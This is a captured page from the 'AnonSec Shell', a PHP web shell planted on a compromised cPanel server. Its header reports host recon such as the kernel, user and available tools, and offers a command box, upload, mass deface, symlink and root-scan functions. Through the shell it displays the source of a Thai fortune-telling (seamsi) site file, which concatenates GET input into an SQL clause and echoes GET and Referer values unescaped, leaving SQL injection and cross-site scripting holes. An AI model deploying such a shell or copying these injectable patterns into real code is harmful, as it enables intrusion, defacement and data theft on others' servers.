AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/www/simded.com/seamsi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/www/simded.com/seamsi/predict_v_old.php
<?php
include('../include/class.php');
include('../include/sql_injection_get.php');

$list = array('table'=>'seamsi','where'=>'name_en = "'.$_GET['name'].'" AND status = "1"');
$view = $view_db->view($list);
$row = $view_db->q($view);

$og_title = 'เสี่ยงเซียมซี ' . $row['name'];
$img_t =  $row['image'];
$og_image = 'https://www.simded.com/redbag/seamsi/'.$img_t;
$og_image2 = 'https://www.simded.com/redbag/seamsi/'.$img_t;

$name_table = 'seamsi';
$sum = $row["sum"] + 1;
$list = array(
			'table'=>$name_table,
			'id'=>$row["id"],
			'sum'=>$sum,
			'up_date'=>$date
		);

		$add = $actiondata_db->edit_db($list);
?>
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
	<?php include('../include/meta.php');?>
    <?php include('../include/cssfile.php');?>
    <?php //include('../loginfacebook/config_fb.php');?>
  </head>
<body>
<?php include('../themes/menu.php');?>
<style>
.drop_se{border-radius:20px;border:1px solid #ffff00;height:38px;
-webkit-appearance: none;
-moz-appearance: none;
padding-left:45px;
appearance: none;
background: url("../images/icon_arrow.png") #ffff00 no-repeat 98.5% !important; /* !important used for overriding all other customisations */
background: url("../images/icon_arrow.png") #ffff00 no-repeat calc(7% - 10px) !important; /* Better placement regardless of input width */
background-color:#ffff00;
}
.div_seamsi_fm{background-image:url(../images/bg_seamsi.jpg); background-repeat:no-repeat;max-width:948px;margin:0 auto;height:211px;margin-top:20px;}
@media (max-width: 768px)
{
	.div_seamsi_fm{ padding-left:100px; }
}
@media (max-width: 736px)
{
	.drop_se{ margin-bottom:15px;}
}


.Bgfooter{ margin-top:-35px;}

.text_reading{background-color:#ffff00;border-radius:20px;max-width:500px;text-align:center;font-size:18px;padding-top:15px;padding-bottom:15px;margin-top:45px;"}
.Dloading{background-color:#FFC;padding:10px;position:absolute;z-index:99;border-radius:10px;margin-top:200px;margin-left:0px;}
</style>


<div class="container mt-3">
  <div class="row d-flex justify-content-center">
    <div class="col">
      <p class="HeadTextL text-center text-danger-sim text-spacing-md fw-bold"> <?php echo $row['name']; ?> </p>
    </div>
    <div class="col-12">
      <div class="btn btn-warning-sim w-100 rounded-pill text-light fs-4 text-spacing-md fw-bold">
        ตั้งจิตอธิษฐาน นึกถึงเรื่องที่อยากถาม แล้วกดปุ่มเสี่ยงทาย
      </div>
    </div>
  </div>
</div>

<div class="container">
     <div class="position-relative" style="border:0px solid  #F00;">
     <div class="" align="center">


       <div style="border:0px solid #0F0;max-width:370px;margin-top:14px;height:450px;" id="DIV_seamsi">

       		<div id="Dloading"  style="background-color:#FFC;padding:10px;position:absolute;z-index:99;border-radius:10px;margin-top:200px;display:none;margin-left:-85px;">กรุณารอคำทำนาย สักครู่...</div>
            <div style="position:absolute;padding-top:90px;">
            	<img id="logo_seamsi" src="../images/logo_seamsi.png" width="364" height="361" class="img-responsive"/>
            </div>
            <?php
		$fortune = 'cc.png';
		$fortune_gif = 'cd.gif';
            if($row['id'] == '15')
		{
			$fortune = 'cookie.png';
			$fortune_gif = 'cookie.gif';
		}
		 if($row['id'] == '16')
		{
			$fortune = 'wunneeginarrai.png';
			$fortune_gif = 'wunneeginarrai.gif';
		}
		?>


            <div align="center" style="position:absolute;">
            	<img  id="shake"  src="../images/<?php echo $fortune ?>" width="380" height="450"  class="img-responsive"/>
                <img  id="shake_gif" src="../images/<?php echo $fortune_gif ?>" width="380" height="450"  class="img-responsive" style="display:none;"/>
            </div>
            <div  style="position:absolute;margin-left: 3em;margin-top: 17em;cursor:pointer;border:0px solid #F00;" onclick="loading_seamsi()">
            	<img src="../images/btn-seamsi.png" / title="กดเสี่ยงทายเซียมซี" id="loading_seamsi">
            </div>



       	</div>
     </div>
    </div>

 </div>

<?php if($row['name']!=''){ ?>
	<div class="container pt-5">
    <div class="row  mt-5 mb-3 pt-3  justify-content-center d-grid">
      <div class="col-12 col-md-12 text-center">
        <img src="../redbag/seamsi/<?php echo $row['bg_image']?>" alt="" class="img-fluid">
        <div class="text-spacing-md fw-bold pt-3 fs-3"><?php echo $row['name']; ?></div>
      </div>
    </div>
    <div class="rowposition-relative">
      <div class="col-me-12 ">
        <div class="borber-bottom-sim1"></div>
      </div>
    </div>
	</div>
	<div class="" style="display: inline-block;"></div>
	<div class="container">
	  <div class="fs-5" style="margin-bottom:30px;">
	    <?php echo $row['detail']?>
	  </div>
	 </div>
<?php }else{ ?>
	<div style="margin-top:100px;"></div>
<?php } ?>
<div class="container">
  <div class="text-center">
    <button type="button" name="button" class="btn btn-danger-sim px-5 text-spacing-md fw-bold fs-4" onclick="window.location.href='<?php echo $_SERVER['HTTP_REFERER']; ?>'">ย้อนกลับ</button>
  </div>
</div>

<div class="pb-3">
	<?php
	include('../themes/contact_btn2.php');
	?>

</div>



<?php
include('../themes/footer.php');
include('../include/footer_js.php');
?>
<?php
$list2 = array('table'=>'seamsi_detail','where'=>'seamsi_id = "'.$row['id'].'" order by RAND() LIMIT 1 ');
$view2 = $view_db->view($list2);
$row2 = $view_db->q($view2);


	$bg_1 ='bg_1.jpg';
	if( $row['bg_image'] <> '')
	{$bg_1 = $row['bg_image'];
		$bg_2 = $row['bg_image'];
	 }

	$bg_pp ='bg_pp.jpg';
	if( $row['bg_pp'] <> '')
	{$bg_pp = $row['bg_pp']; }


	$SourceFile = '../redbag/seamsi/'.$bg_pp; //รูปที่ต้องการใส่วอเตอร์มาร์ค
    $DestinationFile = 'number/'.$row['name_en'].'_'.$row2['id'].'.jpg'; //ไฟล์รูปภาพที่จะจัดเก็บ

if( file_exists($SourceFile.$DestinationFile) )
{

}
else
{

	$text_description = strip_tags($row2['detail']);


	include("mark.inc.php"); //นำเข้าไฟล์ฟังก์ชั่น

	$WaterMarkText = 'เซียมซีใบที่ '.$row2['number']; //ข้อความที่จะใส่
	$text_description = strip_tags($text_description);
	$WaterMarkText2 = $util_class->sub_str_2($text_description,'400'); //ข้อความที่จะใส่

	$WaterMarkTextn  = $row['name'];

	watermarkImage ($SourceFile, $WaterMarkText , $WaterMarkTextn , $WaterMarkText2, $DestinationFile);


}



?>
<script>
$(window).load(function() { // better to use $(document).ready(function(){
    $('#loading_seamsi').on('click touchstart', function() {

        document.getElementById("Dloading").style.display = "inline";
		document.getElementById("shake_gif").style.display = "inline";
		document.getElementById("shake").style.display = "none";
		setTimeout(function(){ window.location.href = "reading.php?name=<?php echo $_GET['name'];?>&num=<?php echo $row2['id']?>"; }, 3000);

    });
});

document.getElementById("DIV_seamsi").addEventListener("mouseover", mouseover_shake);
document.getElementById("DIV_seamsi").addEventListener("mouseout", mouseout_shake);

function mouseover_shake()
{
	//document.getElementById("shake").src = "../images/cd.gif";
	document.getElementById("shake_gif").style.display = "inline";
	document.getElementById("shake").style.display = "none";
	  //$( "#shake" ).effect( "shake" );

}
function mouseout_shake()
{
	//document.getElementById("shake").src = "../images/cc.png";
	document.getElementById("shake_gif").style.display = "none";
	document.getElementById("shake").style.display = "inline";
}
function loading_seamsi()
{
	//document.getElementById("shake").src = "../images/cd.gif";

	//alert('dsfdsf');
	//document.getElementById("Dloading").style.display = "inline";
	//document.getElementById("shake_gif").style.display = "inline";
	//document.getElementById("shake").style.display = "none";

	//setTimeout(function(){ 5000 , window.location.href = "reading.php?name=<?php //echo $_GET['name'];?>&num=<?php //echo $row2['id']?>"; });
}
</script>

Anon7 - 2022
AnonSec Team